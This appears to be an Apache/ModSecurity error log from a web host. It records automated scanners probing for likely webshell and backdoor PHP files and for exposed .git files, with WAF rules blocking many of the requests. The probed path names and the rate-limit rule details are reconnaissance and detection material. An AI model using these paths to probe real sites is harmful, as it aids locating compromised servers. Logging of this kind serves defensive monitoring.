[Fri Apr 24 22:01:08.043461 2026] [:error] [pid 22114:tid 22117] [client 4.235.80.198:39696] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saxzw9t.php"] [unique_id "aet3pIAuWGz3WlMQjof5HgAAAQA"]
[Fri Apr 24 22:01:09.402384 2026] [:error] [pid 17720:tid 17756] [client 4.235.80.198:40779] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saxzw9t.php"] [unique_id "aet3pehlUs6BS3Ng7_XDrAAAAMI"]
[Fri Apr 24 22:01:10.534262 2026] [:error] [pid 22114:tid 22136] [client 4.235.80.198:1308] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saxzw9t.php"] [unique_id "aet3poAuWGz3WlMQjof5IQAAARM"]
[Fri Apr 24 22:01:11.992666 2026] [:error] [pid 17721:tid 17800] [client 4.235.80.198:24329] File does not exist: /usr/local/apache/htdocs/suspended-page/saxzw9t.php
[Fri Apr 24 22:01:12.258520 2026] [:error] [pid 17721:tid 17781] [client 4.235.80.198:24329] File does not exist: /usr/local/apache/htdocs/suspended-page/sder5252u.php
[Fri Apr 24 22:01:12.563489 2026] [:error] [pid 17721:tid 17797] [client 4.235.80.198:24329] File does not exist: /usr/local/apache/htdocs/suspended-page/sderty5u.php
[Fri Apr 24 22:01:13.009647 2026] [:error] [pid 17721:tid 17805] [client 4.235.80.198:24329] File does not exist: /usr/local/apache/htdocs/suspended-page/hilk.php
[Fri Apr 24 22:01:14.163527 2026] [:error] [pid 17721:tid 17794] [client 4.235.80.198:24329] File does not exist: /usr/local/apache/htdocs/suspended-page/miso.php
[Fri Apr 24 22:01:14.693331 2026] [:error] [pid 17721:tid 17803] [client 4.235.80.198:24329] File does not exist: /usr/local/apache/htdocs/suspended-page/yuzuru1.php
[Fri Apr 24 22:01:15.022394 2026] [:error] [pid 17721:tid 17784] [client 4.235.80.198:24329] File does not exist: /usr/local/apache/htdocs/suspended-page/checkout.php
[Fri Apr 24 22:01:15.347109 2026] [:error] [pid 17721:tid 17795] [client 4.235.80.198:24329] File does not exist: /usr/local/apache/htdocs/suspended-page/fictioner.php
[Fri Apr 24 22:01:15.725796 2026] [:error] [pid 17721:tid 17785] [client 4.235.80.198:24329] File does not exist: /usr/local/apache/htdocs/suspended-page/ortasekerli1.php
[Fri Apr 24 22:01:16.074109 2026] [:error] [pid 17721:tid 17798] [client 4.235.80.198:24329] File does not exist: /usr/local/apache/htdocs/suspended-page/xxa.php
[Fri Apr 24 22:01:16.386837 2026] [:error] [pid 17721:tid 17792] [client 4.235.80.198:24329] File does not exist: /usr/local/apache/htdocs/suspended-page/file6.php
[Fri Apr 24 22:01:16.781992 2026] [:error] [pid 17721:tid 17781] [client 4.235.80.198:24329] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "aet3rOFXXkLeyDnfk_9NEgAAAAA"]
[Fri Apr 24 22:01:20.610043 2026] [:error] [pid 22114:tid 22117] [client 4.235.80.198:60676] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "aet3sIAuWGz3WlMQjof5LwAAAQA"]
[Fri Apr 24 22:01:22.090955 2026] [:error] [pid 4177:tid 4189] [client 4.235.80.198:1194] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "aet3sn2asKnvdrSe0x496gAAAYQ"]
[Fri Apr 24 22:01:23.597486 2026] [:error] [pid 22114:tid 22132] [client 4.235.80.198:51599] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "aet3s4AuWGz3WlMQjof5MQAAAQ8"]
[Fri Apr 24 22:01:28.176553 2026] [:error] [pid 17719:tid 17749] [client 4.235.80.198:24381] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redixsx.php"] [unique_id "aet3uMTZ9gzEyL1BkPq5KwAAAJY"]
[Fri Apr 24 22:01:29.259657 2026] [:error] [pid 4177:tid 4205] [client 4.235.80.198:22292] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redixsx.php"] [unique_id "aet3uX2asKnvdrSe0x4-BQAAAZQ"]
[Fri Apr 24 22:01:30.680042 2026] [:error] [pid 4177:tid 4199] [client 4.235.80.198:43018] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redixsx.php"] [unique_id "aet3un2asKnvdrSe0x4-CQAAAY4"]
[Fri Apr 24 22:01:32.636916 2026] [:error] [pid 14531:tid 14535] [client 4.235.80.198:22325] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redixsx.php"] [unique_id "aet3vHfLU2gw-6KR-GbcAQAAAUI"]
[Fri Apr 24 22:01:33.947013 2026] [:error] [pid 14531:tid 14547] [client 4.235.80.198:40242] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aet3vXfLU2gw-6KR-GbcAgAAAU4"]
[Fri Apr 24 22:01:38.619811 2026] [:error] [pid 22114:tid 22120] [client 4.235.80.198:22319] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aet3woAuWGz3WlMQjof5NgAAAQM"]
[Fri Apr 24 22:01:39.985014 2026] [:error] [pid 4177:tid 4186] [client 4.235.80.198:60265] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aet3w32asKnvdrSe0x4-EgAAAYE"]
[Fri Apr 24 22:01:41.236316 2026] [:error] [pid 4177:tid 4203] [client 4.235.80.198:51625] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aet3xX2asKnvdrSe0x4-FAAAAZI"]
[Fri Apr 24 22:01:43.612620 2026] [:error] [pid 4177:tid 4198] [client 4.235.80.198:43013] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "aet3x32asKnvdrSe0x4-GgAAAY0"]
[Fri Apr 24 22:01:46.299010 2026] [:error] [pid 17721:tid 17791] [client 4.235.80.198:39716] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "aet3yuFXXkLeyDnfk_9NJQAAAAo"]
[Fri Apr 24 22:01:48.032228 2026] [:error] [pid 22114:tid 22132] [client 4.235.80.198:22833] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "aet3zIAuWGz3WlMQjof5OQAAAQ8"]
[Fri Apr 24 22:01:49.271184 2026] [:error] [pid 14531:tid 14547] [client 4.235.80.198:62997] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "aet3zXfLU2gw-6KR-GbcDQAAAU4"]
[Fri Apr 24 22:01:52.730812 2026] [:error] [pid 4177:tid 4185] [client 4.235.80.198:60285] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/67.php"] [unique_id "aet30H2asKnvdrSe0x4-KAAAAYA"]
[Fri Apr 24 22:01:53.640368 2026] [:error] [pid 4177:tid 4201] [client 4.235.80.198:36510] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/67.php"] [unique_id "aet30X2asKnvdrSe0x4-KwAAAZA"]
[Fri Apr 24 22:01:56.330891 2026] [:error] [pid 17720:tid 17772] [client 4.235.80.198:52706] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/67.php"] [unique_id "aet31OhlUs6BS3Ng7_XD3AAAANI"]
[Fri Apr 24 22:01:57.232781 2026] [:error] [pid 17720:tid 17776] [client 4.235.80.198:25408] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/67.php"] [unique_id "aet31ehlUs6BS3Ng7_XD3wAAANY"]
[Fri Apr 24 22:01:58.522949 2026] [:error] [pid 17721:tid 17792] [client 4.235.80.198:60241] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1mrX.php"] [unique_id "aet31uFXXkLeyDnfk_9NKQAAAAs"]
[Fri Apr 24 22:02:01.553319 2026] [:error] [pid 17720:tid 17777] [client 4.235.80.198:43028] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1mrX.php"] [unique_id "aet32ehlUs6BS3Ng7_XD8AAAANc"]
[Fri Apr 24 22:02:05.148687 2026] [:error] [pid 14531:tid 14533] [client 4.235.80.198:22321] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1mrX.php"] [unique_id "aet33XfLU2gw-6KR-GbcGgAAAUA"]
[Fri Apr 24 22:02:06.428835 2026] [:error] [pid 22114:tid 22129] [client 4.235.80.198:36495] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1mrX.php"] [unique_id "aet33oAuWGz3WlMQjof5PwAAAQw"]
[Fri Apr 24 22:02:11.805631 2026] [:error] [pid 17720:tid 17769] [client 4.235.80.198:51642] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "aet34-hlUs6BS3Ng7_XEAAAAAM8"]
[Fri Apr 24 22:02:12.836739 2026] [:error] [pid 17720:tid 17777] [client 4.235.80.198:43042] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "aet35OhlUs6BS3Ng7_XEAwAAANc"]
[Fri Apr 24 22:02:13.773332 2026] [:error] [pid 17720:tid 17766] [client 4.235.80.198:22817] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "aet35ehlUs6BS3Ng7_XEBwAAAMw"]
[Fri Apr 24 22:02:14.859758 2026] [:error] [pid 4177:tid 4190] [client 4.235.80.198:63022] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "aet35n2asKnvdrSe0x4-SgAAAYU"]
[Fri Apr 24 22:02:15.531366 2026] [:error] [pid 4177:tid 4189] [client 4.235.80.198:62979] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/485.php"] [unique_id "aet3532asKnvdrSe0x4-TAAAAYQ"]
[Fri Apr 24 22:02:16.537546 2026] [:error] [pid 17720:tid 17772] [client 4.235.80.198:1292] File does not exist: /usr/local/apache/htdocs/suspended-page/485.php
[Fri Apr 24 22:02:16.833446 2026] [:error] [pid 17720:tid 17757] [client 4.235.80.198:1292] File does not exist: /usr/local/apache/htdocs/suspended-page/drykl.php
[Fri Apr 24 22:02:17.196252 2026] [:error] [pid 17720:tid 17778] [client 4.235.80.198:1292] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Sat Apr 25 00:10:25.433778 2026] [:error] [pid 42792:tid 42843] [client 151.243.143.47:33882] [client 151.243.143.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aeuV8dNi9qR4GtafpfG53gAAAhU"]
[Sat Apr 25 00:10:25.470452 2026] [:error] [pid 42755:tid 42763] [client 151.243.143.47:33890] [client 151.243.143.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/HEAD"] [unique_id "aeuV8dH7__k0j6aa603vggAAAIY"]
[Sat Apr 25 03:02:37.562053 2026] [:error] [pid 29016:tid 29055] [client 20.46.120.13:2639] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sat Apr 25 03:02:37.681111 2026] [:error] [pid 29016:tid 29053] [client 20.46.120.13:2639] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sat Apr 25 03:02:37.914540 2026] [:error] [pid 29016:tid 29051] [client 20.46.120.13:2639] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Sat Apr 25 03:02:38.032183 2026] [:error] [pid 29016:tid 29034] [client 20.46.120.13:2639] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat Apr 25 03:02:38.266316 2026] [:error] [pid 29016:tid 29043] [client 20.46.120.13:2639] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Sat Apr 25 03:02:38.382695 2026] [:error] [pid 29016:tid 29036] [client 20.46.120.13:2639] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sat Apr 25 03:02:38.500497 2026] [:error] [pid 29016:tid 29040] [client 20.46.120.13:2639] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Sat Apr 25 03:02:38.863298 2026] [:error] [pid 29016:tid 29042] [client 20.46.120.13:2639] [client 20.46.120.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "aeu-TkQMwwBEZ8EaFL9FsQAAA0U"]
[Sat Apr 25 03:02:39.321942 2026] [:error] [pid 28909:tid 28937] [client 20.46.120.13:2643] [client 20.46.120.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "aeu-T62Vx90vB2Opu_uf5QAAAtQ"]
[Sat Apr 25 03:02:39.803429 2026] [:error] [pid 28909:tid 28933] [client 20.46.120.13:6178] [client 20.46.120.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "aeu-T62Vx90vB2Opu_uf5gAAAtA"]
[Sat Apr 25 03:02:40.282883 2026] [:error] [pid 29016:tid 29034] [client 20.46.120.13:6150] [client 20.46.120.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "aeu-UEQMwwBEZ8EaFL9FswAAA0A"]
[Sat Apr 25 03:44:11.316621 2026] [:error] [pid 13549:tid 13574] [client 20.251.112.6:9098] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-post-data.php
[Sat Apr 25 03:44:11.585217 2026] [:error] [pid 13549:tid 13567] [client 20.251.112.6:9098] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Sat Apr 25 03:44:11.848018 2026] [:error] [pid 13549:tid 13569] [client 20.251.112.6:9098] File does not exist: /usr/local/apache/htdocs/suspended-page/1index.php
[Sat Apr 25 03:44:12.112820 2026] [:error] [pid 13549:tid 13562] [client 20.251.112.6:9098] File does not exist: /usr/local/apache/htdocs/suspended-page/kcs.php
[Sat Apr 25 03:44:12.376624 2026] [:error] [pid 13549:tid 13560] [client 20.251.112.6:9098] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Sat Apr 25 03:44:12.641339 2026] [:error] [pid 13549:tid 13564] [client 20.251.112.6:9098] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sat Apr 25 03:44:12.904188 2026] [:error] [pid 13549:tid 13558] [client 20.251.112.6:9098] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Sat Apr 25 03:44:13.167792 2026] [:error] [pid 13549:tid 13566] [client 20.251.112.6:9098] File does not exist: /usr/local/apache/htdocs/suspended-page/envs.php
[Sat Apr 25 03:44:13.441004 2026] [:error] [pid 13549:tid 13563] [client 20.251.112.6:9098] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plugins.php
[Sat Apr 25 03:44:15.156408 2026] [:error] [pid 13549:tid 13563] [client 20.251.112.6:9098] File does not exist: /usr/local/apache/htdocs/suspended-page/keys.php
[Sat Apr 25 03:44:15.415684 2026] [:error] [pid 13549:tid 13555] [client 20.251.112.6:9098] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pinfo.php"] [unique_id "aevID0lUdSfKkE1AJScv0QAAAAE"]
[Sat Apr 25 03:44:15.935501 2026] [:error] [pid 13549:tid 13567] [client 20.251.112.6:9092] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pinfo.php"] [unique_id "aevID0lUdSfKkE1AJScv1QAAAA0"]
[Sat Apr 25 03:44:16.456886 2026] [:error] [pid 13549:tid 13569] [client 20.251.112.6:9162] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pinfo.php"] [unique_id "aevIEElUdSfKkE1AJScv1wAAAA8"]
[Sat Apr 25 03:44:16.975544 2026] [:error] [pid 13550:tid 13600] [client 20.251.112.6:9172] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pinfo.php"] [unique_id "aevIEPkGWF8b7QIlunW3LQAAAFM"]
[Sat Apr 25 03:44:17.500071 2026] [:error] [pid 13550:tid 13584] [client 20.251.112.6:9174] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/litespeed.php"] [unique_id "aevIEfkGWF8b7QIlunW3LwAAAEM"]
[Sat Apr 25 03:44:18.022656 2026] [:error] [pid 13550:tid 13591] [client 20.251.112.6:9168] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/litespeed.php"] [unique_id "aevIEvkGWF8b7QIlunW3MwAAAEo"]
[Sat Apr 25 03:44:18.542260 2026] [:error] [pid 13638:tid 13644] [client 20.251.112.6:9157] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/litespeed.php"] [unique_id "aevIEswVSJN2fgH8tfIKoQAAAMQ"]
[Sat Apr 25 03:44:19.075468 2026] [:error] [pid 13549:tid 13572] [client 20.251.112.6:9211] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/litespeed.php"] [unique_id "aevIE0lUdSfKkE1AJScv2wAAABI"]
